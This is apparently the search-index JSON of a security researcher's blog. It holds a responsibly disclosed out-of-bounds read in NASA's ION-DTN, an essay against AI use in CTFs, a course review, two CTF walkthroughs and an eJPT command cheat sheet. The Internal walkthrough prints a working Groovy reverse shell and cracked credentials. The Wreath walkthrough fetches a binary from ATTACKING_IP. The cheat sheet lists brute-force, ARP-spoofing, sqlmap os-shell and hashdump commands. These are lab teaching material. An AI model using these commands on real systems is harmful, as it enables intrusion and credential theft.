[{"content":"I had been browsing NASA\u0026rsquo;s public GitHub repositories out of curiosity when one project immediately stood out: ION-DTN, the reference implementation of Delay/Disruption Tolerant Networking. This is the software stack designed for environments where links are unreliable, latency is extreme, and packets may need to survive long interruptions before they arrive.\nThat alone made it interesting from a security perspective. A protocol built around packets arriving whenever they can, often under hostile conditions, is exactly the kind of place where parser mistakes tend to matter. So I started reading the code that handles data as soon as it arrives from the network.\nION-DTN has been used on the ISS since 2016, and ESA has also used it on OPS-SAT, which makes even small memory-safety bugs worth taking seriously.\nThe protocol, in short DTN moves data around in bundles. Each bundle has a header encoded in CBOR, a compact binary cousin of JSON, which carries metadata including the EID (Endpoint ID), effectively the source or destination address of the bundle. A typical example would look something like dtn://node123/service.\nTo read those fields, ION-DTN relies on its own CBOR decoder, written in C. That decoder runs on unauthenticated network input, which means it sits directly on the exposed path for any incoming bundle.\nThe bug The issue lives in the CBOR string decoders, cbor_decode_text_string and cbor_decode_byte_string, in ici/library/cbor.c. Their job is simple: read a length value from the encoded field, then copy that many bytes out of the input buffer.\nThe validation was incomplete. The code checked whether the claimed string length fit inside the destination buffer, but it did not check whether that many bytes had actually been received from the network.\nThat means a truncated bundle can lie about the length of a field. If the header says 200 bytes are coming but only 2 are actually present, memcpy() still tries to read 200 bytes. The missing 198 bytes come straight out of adjacent heap memory.\nif (stringLength \u0026gt; *size) { return 0; } // Missing: check stringLength against the bytes actually available. memcpy(value, *cursor, stringLength); *bytesBuffered -= stringLength; There is a second issue immediately after the out-of-bounds read. If stringLength is larger than *bytesBuffered, which is an unsigned counter, the subtraction does not become negative. It wraps to a huge value such as 0xFFFFFFFF, after which later bounds checks become meaningless.\nWhy it matters This would already be serious in a normal parser, but it is worse here because the leaked bytes are not just random padding. The receive buffer is reused between bundles and not fully cleared, so adjacent memory may still contain data from earlier traffic handled by the same node.\nThose bytes can then become part of the decoded EID. ION stores that value and later reuses it in status reports, administrative traffic, and other protocol responses, effectively sending the leaked data back over the link without the attacker needing a second primitive.\nIn other words, the parsing bug can become a memory disclosure across the protocol itself. In constrained environments such as satellites or the ISS, where hardening features and patch cycles can be limited, that is not the kind of bug you want in the first stage of message handling.\nThe flow, visually sequenceDiagram participant Attacker as Remote node (unauthenticated) participant DTNLink as DTN link participant ION as ION-DTN (CBOR parser) participant Heap as Adjacent memory Attacker-\u0026gt;\u0026gt;DTNLink: Truncated BPv7 bundle\u0026lt;br/\u0026gt;(header says \u0026#34;200 bytes\u0026#34;, only 2 arrive) DTNLink-\u0026gt;\u0026gt;ION: acquirePrimaryBlock() -\u0026gt; acquireEid() ION-\u0026gt;\u0026gt;ION: cbor_decode_text_string() Note over ION: Only validates against destination size,\u0026lt;br/\u0026gt;not against what was received ION-\u0026gt;\u0026gt;Heap: memcpy() reads 200 bytes\u0026lt;br/\u0026gt;(198 too many) Heap--\u0026gt;\u0026gt;ION: bytes from previous bundles ION-\u0026gt;\u0026gt;ION: bytesBuffered -= 200 -\u0026gt; underflow (~0xFFFFFFFF) ION-\u0026gt;\u0026gt;Attacker: Contaminated EID forwarded\u0026lt;br/\u0026gt;in reports / logs / status How I proved it I did not need a full ION deployment to verify the issue. Instead, I wrote small C harnesses that link directly against the unmodified cbor.c file from ION-DTN and feed it a hand-crafted truncated bundle. Compiling with AddressSanitizer makes the failure obvious the moment the decoder reads beyond the provided buffer.\ngcc -fsanitize=address -g harness_eid_path.c ION-DTN/ici/library/cbor.c -o harness ./harness The result was immediate:\n==2988==ERROR: AddressSanitizer: heap-buffer-overflow READ of size 200 at 0x502000000018 #0 memcpy #1 cbor_decode_text_string cbor.c:839 That is an out-of-bounds read on the real, unmodified NASA codebase, landing directly on the vulnerable memcpy() path.\nThe fix The fix is straightforward: validate the claimed string length against the number of bytes still available in the input buffer before copying anything.\nif (stringLength \u0026gt; *bytesBuffered) { return 0; } Outcome I reported the issue through NASA\u0026rsquo;s Vulnerability Disclosure Program on Bugcrowd. The finding was confirmed, fixed upstream, and closed as resolved.\nYou can read the public disclosure here: Out-of-Bounds Read + Unsigned Integer Underflow in NASA ION-DTN CBOR string decoders.\n","permalink":"https://marioolf.github.io/research/nasa-ion-dtn-oob-vulnerability/","summary":"\u003cp\u003eI had been browsing NASA\u0026rsquo;s public GitHub repositories out of curiosity when one project immediately stood out: ION-DTN, the reference implementation of Delay/Disruption Tolerant Networking. This is the software stack designed for environments where links are unreliable, latency is extreme, and packets may need to survive long interruptions before they arrive.\u003c/p\u003e\n\u003cp\u003eThat alone made it interesting from a security perspective. A protocol built around packets arriving whenever they can, often under hostile conditions, is exactly the kind of place where parser mistakes tend to matter. So I started reading the code that handles data as soon as it arrives from the network.\u003c/p\u003e","title":"How I found a bug in the software NASA uses to talk to space"},{"content":"First of all, I believe CTFs are, at their core, about learning and problem-solving. They present you with a variety of challenges that you are expected to solve yourself, awarding points for each one and ranking players based on how many challenges they manage to solve.\nWhy it changes the competition Over the last few years, AI usage has skyrocketed in pentesting, and naturally, it has also made its way into CTFs. Nowadays, we can see challenges being solved in seconds and scoreboards reaching extremely high scores only a few minutes into a competition.\nTo me, this misses the point.\nCTFs are supposed to be an opportunity to learn from challenges and, in a competitive environment, to test your own problem-solving skills. Even if you disagree with the idea that CTFs should primarily be about learning, I think it is reasonable to expect a CTF competition to measure the skills of the person competing, not how much they are willing to pay for the latest AI model, or how effectively they can prompt it to solve a challenge for them.\nThe chess analogy Chess is the comparison that usually comes to mind when I think about this topic. AI is obviously extremely useful for learning chess, and tools like Stockfish have become an essential part of how many players study and improve. However, you do not see chess tournaments where players are allowed to use Stockfish during the game while they sit behind the board and make the final moves themselves.\nThe reason is simple: the tournament is supposed to test the player\u0026rsquo;s own ability to think and make decisions, not their ability to use an external tool to find the best move.\nWhere AI still belongs I think CTFs should be treated similarly. AI can be an incredible tool for learning, practicing, and improving outside of competitions. But when it comes to an actual CTF tournament, I believe the challenges should test the competitor, not the model they have access to or how well they can prompt it.\nOtherwise, we risk turning CTFs from a competition of problem-solving skills into a competition of who has the best AI workflow.\n","permalink":"https://marioolf.github.io/posts/ai-on-ctfs/","summary":"\u003cp\u003eFirst of all, I believe CTFs are, at their core, about learning and problem-solving. They present you with a variety of challenges that you are expected to solve yourself, awarding points for each one and ranking players based on how many challenges they manage to solve.\u003c/p\u003e\n\u003ch2 id=\"why-it-changes-the-competition\"\u003eWhy it changes the competition\u003c/h2\u003e\n\u003cp\u003eOver the last few years, AI usage has skyrocketed in pentesting, and naturally, it has also made its way into CTFs. Nowadays, we can see challenges being solved in seconds and scoreboards reaching extremely high scores only a few minutes into a competition.\u003c/p\u003e","title":"On AI on CTFs"},{"content":"Last week, I took the Certified Red Team Professional course. My goal was to build a strong foundation in Active Directory attack and defense, and honestly, I couldn\u0026rsquo;t have asked for a better course. From the materials to the lab experience, everything exceeded my expectations.\nCourse Experience I started by watching the video tutorials, which explain core Active Directory concepts. These are a must-watch, as they cover everything essential. Taking good notes on these videos can save you a lot of research time later.\nOnce I had watched all the videos, I focused on finishing my notes. The course also provides access to a Discord server, where people actively ask and answer questions, which is a great bonus for additional support.\nLab Experience Next, I moved on to the lab environment, and I have to say it was incredibly engaging. You receive a Lab Manual that guides you through each learning objective step by step, making sure you don’t get stuck when trying things out for the first time. The lab covers everything explained in the videos, providing detailed commands for executing attacks and enumerating every possible aspect of the environment.\nExam Experience \u0026amp; Tips After spending some time going through the lab objectives, I took the exam. You get 24 hours for the practical part and plenty of time to write the report (you might even complete half of it during the exam).\nHere are some tips for the exam: ✅ Enumerate a lot—really, a lot. Don\u0026rsquo;t worry if you spend several hours just gathering information. Thorough enumeration is key. ✅ Take plenty of screenshots. It’s better to have too many than to finish the exam and realize you didn\u0026rsquo;t capture enough evidence. ✅ Take short breaks and get proper sleep. Fatigue can slow you down, so pace yourself.\nFinal Thoughts Overall, my exam experience was very positive, and I highly recommend AlteredSecurity. I might take other courses from them in the future for sure!\n","permalink":"https://marioolf.github.io/posts/crtp/","summary":"\u003cp\u003eLast week, I took the Certified Red Team Professional course. My goal was to build a strong foundation in Active Directory attack and defense, and honestly, I couldn\u0026rsquo;t have asked for a better course. From the materials to the lab experience, everything exceeded my expectations.\u003c/p\u003e\n\u003ch2 id=\"course-experience\"\u003eCourse Experience\u003c/h2\u003e\n\u003cp\u003eI started by watching the video tutorials, which explain core Active Directory concepts. These are a must-watch, as they cover everything essential. Taking good notes on these videos can save you a lot of research time later.\u003c/p\u003e","title":"CRTP Review"},{"content":"Initial Enumeration So lets deploy the machine and start enumerating.\nWe can see ssh open on port 22 and a http web server on port 80. If we enter on 10.10.199.61 we see Apache2 Ubuntu Default Page.\nAfter some directory enumeration, we find the following:\n/blog /phpmyadmin /javascript /wordpress/wp-login.php It is necessary to add internal.thm to our /etc/hosts file to navigate through the website.\nSince we know admin is a user because he has a post on the website, we can brute force the login page using wpscan and rockyou.txt for the password.\nWordPress Access So we found admin:my2boys as valid credentials now we can log in.\nNow if we go to Appearence we can see some php files, let\u0026rsquo;s create edit them and add our php reverse shell. Later with a nc listener we can get access. http://internal.thm/blog/wp-content/themes/twentyseventeen/search.php\nInitial Shell Now just access link of the edited php file and we are in.\nLet\u0026rsquo;s upgrade our shell\npython -c 'import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)'\nUsing linpeas we find some interesting information. wordpress:wordpress123 credentials\nsome phpmyadmin credentials we can check on config file.\nphpmyadmin:B2Ud4fEOZmVq\nLet\u0026rsquo;s go into phpmyadmin page which we find before with directory enumeration and check what is in.\nNothing interesting.\nEnumerating a little bit more trying to locate .txt for flags we find intersting file.\nSSH Pivot aubreanna:bubb13guM!@#123 Now we can connect through ssh.\nOnce in we see a txt file with a jenkins server which is not reachable from our machine. We need to do SSH tunneling to forward that server so we are able to reach it from our machine.\nNow from port 3333 we can access the server.\nJenkins Access Now we use hydra to burteforce admin user on jenkins.\nWe got credentials!! admin:spongebob\nNow on jenkins at /script we can run Goovy scripts and get a reverse shell.\nString host=\u0026#34;10.11.18.85\u0026#34;; int port=6666; String cmd=\u0026#34;/bin/sh\u0026#34;; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()\u0026gt;0)so.write(pi.read());while(pe.available()\u0026gt;0)so.write(pe.read());while( si.available()\u0026gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){\\}};p.destroy();s.close(); With a netcat listener we get access. Privilege Escalation So once in the system we use find command to locate files like we did to see if we get something interesting.\n/opt/note.txt seems similar to previous one.\nWe found root credentials on the file!! root:tr0ub13guM!@#123 Now we can ssh as root and get last flag.\n","permalink":"https://marioolf.github.io/posts/internal/internal-walkthrough/","summary":"\u003ch2 id=\"initial-enumeration\"\u003eInitial Enumeration\u003c/h2\u003e\n\u003cp\u003eSo lets deploy the machine and start enumerating.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"internal1\" loading=\"lazy\" src=\"/images/internal/0.png\"\u003e\u003c/p\u003e\n\u003cp\u003eWe can see ssh open on port 22 and a http web server on port 80. If we enter on 10.10.199.61 we see Apache2 Ubuntu Default Page.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/internal/1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eAfter some directory enumeration, we find the following:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/blog\n\n/phpmyadmin\n\n/javascript\n\n/wordpress/wp-login.php\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/internal/2.png\"\u003e\u003c/p\u003e\n\u003cp\u003eIt is necessary to add internal.thm to our /etc/hosts file to navigate through the website.\u003c/p\u003e\n\u003cp\u003eSince we know admin is a user because he has a post on the website, we can brute force the login page using wpscan and rockyou.txt for the password.\u003c/p\u003e","title":"Internal Walkthrough"},{"content":"Enumeration Nmap scan for open ports\nnmap -p-15000 -vv 10.200.81.200 Nmap scan for OS recognition through headers\nnmap -vv 10.200.81.200 --script=http-headers Exploitation Once vulnerability is found, download script from github.\ngit clone https://github.com/MuirlandOracle/CVE-2019-15107 For python pip install:\nsudo apt install python3-pip If privileges are missing use:\nchmod +x yourfile.py Now we can open the reverse shell:\nSet up netcat listener to catch reverse shell.\nnc -lvnp 4444 Use rlwrap to stabilise the shell.\nNow lets get ssh credentials since we won\u0026rsquo;t be able to crack password hash.\nGo to: root/.ssh/id_rsa\nCopy the content of the file to another and use the following command to log through ssh\nssh -i key.txt root@ip Pivoting Important paths:\nFile with DNS entries: /etc/resolv.conf\nWindows hosts: C:\\Windows\\System32\\drivers\\etc\\hosts\nTo enumerate the network when nmap or other tools are not installed we should use the following.\nBash ping to analyze the alive connections.\nfor i in {1..255}; do (ping -c 1 10.200.81.${i} | grep \u0026#34;bytes from\u0026#34; \u0026amp;); done We found new host at 10.200.81.250.\nAnother ping for port enumeration of the network.\nfor i in {1..65535}; do (echo \u0026gt; /dev/tcp/10.200.81.250/$i) \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; echo $i is open; done Now we are going to transfer a static nmap binary to the machine so we can pivot the network.\nOnce downloaded start python web server.\nsudo python3 -m http.server 80 curl ATTACKING_IP/nmap-USERNAME -o /tmp/nmap-USERNAME \u0026amp;\u0026amp; chmod +x /tmp/nmap-USERNAME This way we get the nmap binary on the machine.\n.nmap-puursuit -sn 10.200.81.1-255 -oN scan-puursuit We found 100 and 150 accessible, now we perform another scan on them for open ports.\n./nmap-puursuit -sS 10.200.81.100 ./nmap-puursuit -sS 10.200.81.150 We have discovered the http service running on port 80 on the .150 machine.\nLet\u0026rsquo;s use sshuttle to pivote through the network.\nsshuttle -r root@10.200.81.200 --ssh-cmd \u0026#34;ssh -i sshkey.txt\u0026#34; 10.200.81.200/24 -x 10.200.81.200 ","permalink":"https://marioolf.github.io/posts/wreath/wreath-walkthrough/","summary":"\u003ch2 id=\"enumeration\"\u003eEnumeration\u003c/h2\u003e\n\u003cp\u003eNmap scan for open ports\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enmap -p-15000 -vv 10.200.81.200\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eNmap scan for OS recognition through headers\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enmap -vv 10.200.81.200 --script=http-headers\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"exploitation\"\u003eExploitation\u003c/h2\u003e\n\u003cp\u003eOnce vulnerability is found, download script from github.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit clone https://github.com/MuirlandOracle/CVE-2019-15107\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eFor python pip install:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo apt install python3-pip\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIf privileges are missing use:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003echmod +x yourfile.py\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eNow we can open the reverse shell:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wreath/wreath1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eSet up netcat listener to catch reverse shell.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enc -lvnp 4444\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eUse rlwrap to stabilise the shell.\u003c/p\u003e\n\u003cp\u003eNow lets get ssh credentials since we won\u0026rsquo;t be able to crack password hash.\u003c/p\u003e","title":"Wreath Walkthrough"},{"content":"I\u0026rsquo;m a security researcher at Ikerlan, working on the security of AI and embedded systems. I\u0026rsquo;m looking for roles in application security and in the security of AI-based products, among others.\nYou can reach me at mariolfeijoo@gmail.com or on LinkedIn.\nWhat I\u0026rsquo;m looking for Application security: threat modeling, secure code review and testing of web applications and APIs Security of AI-based products: red teaming LLM applications and agents, and designing them securely Product security for embedded and connected devices Red teaming and secure architecture design Published work How I found a bug in the software NASA uses to talk to space: a memory-safety bug in NASA\u0026rsquo;s ION-DTN, reported through the NASA Vulnerability Disclosure Program Trusted services in Kubernetes using TEEs: paper presented at JNIC 2024 In my free time I build security tools, which you can find in Projects, and practice on Hack The Box and TryHackMe.\nBackground MSc in Cybersecurity from UCAM (Universidad Católica San Antonio de Murcia) Degree in Computer Science from UVigo (Universidade de Vigo) Erasmus+ in Computer Science at ViKo University of Applied Science in Lithuania Certifications AI-RTA AI Red Team Analyst CRTP Certified Red Team Professional Cryptography I from Stanford University eJPT Junior Penetration Tester from eLearnSecurity ","permalink":"https://marioolf.github.io/about/","summary":"\u003cp\u003eI\u0026rsquo;m a security researcher at Ikerlan, working on the security of AI and embedded systems. I\u0026rsquo;m looking for roles in application security and in the security of AI-based products, among others.\u003c/p\u003e\n\u003cp\u003eYou can reach me at \u003ca href=\"mailto:mariolfeijoo@gmail.com\"\u003emariolfeijoo@gmail.com\u003c/a\u003e or on \u003ca href=\"https://www.linkedin.com/in/mariolopezfeijoo/\" target=\"_blank\" rel=\"noopener noreferrer\"\u003eLinkedIn\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"what-im-looking-for\"\u003eWhat I\u0026rsquo;m looking for\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApplication security: threat modeling, secure code review and testing of web applications and APIs\u003c/li\u003e\n\u003cli\u003eSecurity of AI-based products: red teaming LLM applications and agents, and designing them securely\u003c/li\u003e\n\u003cli\u003eProduct security for embedded and connected devices\u003c/li\u003e\n\u003cli\u003eRed teaming and secure architecture design\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"published-work\"\u003ePublished work\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/research/nasa-ion-dtn-oob-vulnerability/\"\u003eHow I found a bug in the software NASA uses to talk to space\u003c/a\u003e: a memory-safety bug in NASA\u0026rsquo;s ION-DTN, reported through the NASA Vulnerability Disclosure Program\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/research/jnic-2024-trusted-services-kubernetes/\"\u003eTrusted services in Kubernetes using TEEs\u003c/a\u003e: paper presented at JNIC 2024\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn my free time I build security tools, which you can find in \u003ca href=\"/projects/\"\u003eProjects\u003c/a\u003e, and practice on Hack The Box and TryHackMe.\u003c/p\u003e","title":"About"},{"content":"Paper presented at the 9th Jornadas Nacionales de Investigación en Ciberseguridad (JNIC 2024, Seville), written in Spanish: \u0026ldquo;Desarrollo de Servicios Confiables en Kubernetes Utilizando TEEs\u0026rdquo;.\nCloud services process large amounts of sensitive data, so they need to guarantee its confidentiality and integrity. Confidential computing addresses this with hardware-based Trusted Execution Environments (TEEs) that limit access to unencrypted data, which makes them a good fit for clouds where the infrastructure belongs to third parties that are not always trusted.\nIn this work we built a trusted service for predictive vehicle maintenance on top of the TEE provided by Intel SGX, and deployed it the way most organizations deploy software today: containers and Kubernetes. The results show that confidential computing is effective, and necessary, to strengthen the security of current cloud services.\nPaper record at idUS (Universidad de Sevilla) PDF (Spanish) Ferreiro Ferrón, D., López Feijoo, M., López Román, I. and Vázquez Saavedra, A. (2024). Desarrollo de Servicios Confiables en Kubernetes Utilizando TEEs. JNIC 2024, Seville, pp. 428–435.\n","permalink":"https://marioolf.github.io/research/jnic-2024-trusted-services-kubernetes/","summary":"\u003cp\u003ePaper presented at the 9th \u003cem\u003eJornadas Nacionales de Investigación en Ciberseguridad\u003c/em\u003e (JNIC 2024, Seville), written in Spanish: \u003cstrong\u003e\u0026ldquo;Desarrollo de Servicios Confiables en Kubernetes Utilizando TEEs\u0026rdquo;\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eCloud services process large amounts of sensitive data, so they need to guarantee its confidentiality and integrity. Confidential computing addresses this with hardware-based Trusted Execution Environments (TEEs) that limit access to unencrypted data, which makes them a good fit for clouds where the infrastructure belongs to third parties that are not always trusted.\u003c/p\u003e","title":"Trusted Services in Kubernetes using TEEs (JNIC 2024)"},{"content":"Metasploit Basic Commands\nsearch x use x info show options, show advanced options SET X (e.g. set RHOST 10.10.10.10, set payload x) Meterpreter Commands\nbackground sessions -l sessions -i 1 sysinfo, ifconfig, route, getuid getsystem (privesc) bypassuac download x /root/ upload x C:\\\\Windows shell use post/windows/gather/hashdump Networking Attacks Brute Force with Hydra\nhydra -L users.txt -P pass.txt -t 10 10.10.10.10 ssh -s 22 hydra -L users.txt -P pass.txt telnet://10.10.10.10 Windows Shares with null sessions\nnmblookup -A 10.10.10.10 smbclient -L //10.10.10.10 -N (list shares) smbclient //10.10.10.10/share -N (mount share) enum4linux -a 10.10.10.10 ARP Spoofing\necho 1 \u0026gt; /proc/sys/net/ipv4/ip_forward arpspoof -i tap0 -t 10.10.10.10 -r 10.10.10.11 description: Using enum4linux and samrdump.py Null Sessions enum4linux -n IP enum4linux -P IP enum4linux -s /user/share/enum4linux/share-list.txt IP enum4linux -a IP cd /usr/share/doc/python-impacket-doc/examples python samrdump.py IP nmap -script=smb-enum-shares IP nmap -script=smb-enum-users IP nmap -script=smb-brute IP Password Bruteforce First we need to prepare the file for John\nunshadow passwd shadow \u0026gt; unshadow For hash cracking:\njohn -wordlist /path/to/wordlist -users=users.txt hashfile Scanning Best NMAP Scan\nsudo nmap -T4 -Pn -n -vv -p- -A --open -iL ips.txt Whois\nwhois site.com Ping sweep\nfping -a -g 10.10.10.0/24 2\u0026gt;/dev/null nmap -sn 10.10.10.0/24 OS Detection\nnmap -Pn -O 10.10.10.10 Nmap Quick Scan\nnmap -sC -sV 10.10.10.10 Nmap Full Scan\nnmap -sC -sV -p- 10.10.10.10 Banner Grabbing\nnc -v 10.10.10.10 port HEAD / HTTP/1.0 More Banner Grabbing\nnmap -sV --script=banner 192.73.96.0/24 More Nmap port discovery without ping sweep\nnmap -p- -Pn -vv -T4 -n IP Port information\nnmap -sC -sV -p PORT IP Lookup of Nmap scripts\nlocate .nse Vulnerability searching Nmap\nnmap -sV -sC --script vuln -oN blue.nmap 10.10.126.213 Nmap SynScan usefull for nullsessions (enum4linux next)\nnmap -sS -p 135,139,445 IP.0-255 SQLi sqlmap -u http://10.10.10.10 -p parameter sqlmap -u http://10.10.10.10 --data POSTstring -p parameter sqlmap -u http://10.10.10.10 --os-shell sqlmap -u http://10.10.10.10 --dump --cookie !! Example:\nsqlmap -u \u0026#34;http://demo.ine.local/sqli_1.php?title=hello\u0026amp;action=search\u0026#34; --cookie \u0026#34;PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0\u0026#34; -p title sqlmap -u \u0026#34;http://demo.ine.local/sqli_1.php?title=hello\u0026amp;action=search\u0026#34; --cookie \u0026#34;PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0\u0026#34; -p title --dbs sqlmap -u \u0026#34;http://demo.ine.local/sqli_1.php?title=hello\u0026amp;action=search\u0026#34; --cookie \u0026#34;PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0\u0026#34; -p title --dbs -D bWAPP --tables sqlmap -u \u0026#34;http://demo.ine.local/sqli_1.php?title=hello\u0026amp;#x26;action=search\u0026#34; --cookie \u0026#34;PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0\u0026#34; -p title --dbs -D bWAPP --tables -T users --columns sqlmap -u \u0026#34;http://demo.ine.local/sqli_1.php?title=hello\u0026amp;#x26;action=search\u0026#34; --cookie \u0026#34;PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0\u0026#34; -p title --dbs -D bWAPP --tables -T users -C admin,password,email --dump This last example is for a GET sql injection. For a POST injection save the post from burpsuite and execute the following command.\nsqlmap -r request -p title Subdomain Enumeration Dirsearch or gobuster are both good options\ndirsearch.py -u http://10.10.10.10 -e * gobuster -u 10.10.10.10 -w /path/to/wordlist.txt Vuln Assessment Rapid7\nhttps://www.rapid7.com/db/ Exploit-DB\nhttps://www.exploit-db.com/ XSS Reflected XSS = Payload is carried inside the request the victim sends to the website. Typically the link contains the malicious payload Persistent XSS = Payload remains in the site that multiple users can fall victim to. Typically embedded via a form or forum post\n1. Find a reflection point 2. Test with an italic tag 3. Test with HTML/JavaScript code (alert(\u0026#39;XSS\u0026#39;)) ","permalink":"https://marioolf.github.io/posts/ejpt/","summary":"\u003ch2 id=\"metasploit\"\u003eMetasploit\u003c/h2\u003e\n\u003cp\u003eBasic Commands\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esearch x\nuse x\ninfo\nshow options, show advanced options\nSET X (e.g. set RHOST 10.10.10.10, set payload x)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eMeterpreter Commands\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ebackground\nsessions -l\nsessions -i 1\nsysinfo, ifconfig, route, getuid\ngetsystem (privesc)\nbypassuac\ndownload x /root/\nupload x C:\\\\Windows\nshell\nuse post/windows/gather/hashdump\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"networking-attacks\"\u003eNetworking Attacks\u003c/h2\u003e\n\u003cp\u003eBrute Force with Hydra\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ehydra -L users.txt -P pass.txt -t 10 10.10.10.10 ssh -s 22\nhydra -L users.txt -P pass.txt telnet://10.10.10.10\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWindows Shares with null sessions\u003c/p\u003e","title":"eJPT Exam Prep"},{"content":"Tools I build and maintain. Source code on GitHub.\nCrabby\nRust-written tool for Claude automation. CVE Plugin\nObsidian plugin for CVE information. CVE Notification Tool\nMSc final project on CVE remediation times, plus a notification tool for tracking vulnerable software. rustedr-light\nSmall Rust-written EDR for Linux, still in development. ","permalink":"https://marioolf.github.io/projects/","summary":"\u003cp\u003eTools I build and maintain. Source code on \u003ca href=\"https://github.com/marioolf\" target=\"_blank\" rel=\"noopener noreferrer\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003cul class=\"project-list\"\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/marioolf/crabby\" target=\"_blank\" rel=\"noopener noreferrer\"\u003eCrabby\u003c/a\u003e\u003cbr\u003e\nRust-written tool for Claude automation.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/marioolf/cve-plugin\" target=\"_blank\" rel=\"noopener noreferrer\"\u003eCVE Plugin\u003c/a\u003e\u003cbr\u003e\nObsidian plugin for CVE information.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/marioolf/cve-analysis\" target=\"_blank\" rel=\"noopener noreferrer\"\u003eCVE Notification Tool\u003c/a\u003e\u003cbr\u003e\nMSc final project on CVE remediation times, plus a notification tool for tracking vulnerable software.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/marioolf/rustedr-light\" target=\"_blank\" rel=\"noopener noreferrer\"\u003erustedr-light\u003c/a\u003e\u003cbr\u003e\nSmall Rust-written EDR for Linux, still in development.\u003c/li\u003e\n\u003c/ul\u003e","title":"Projects"}]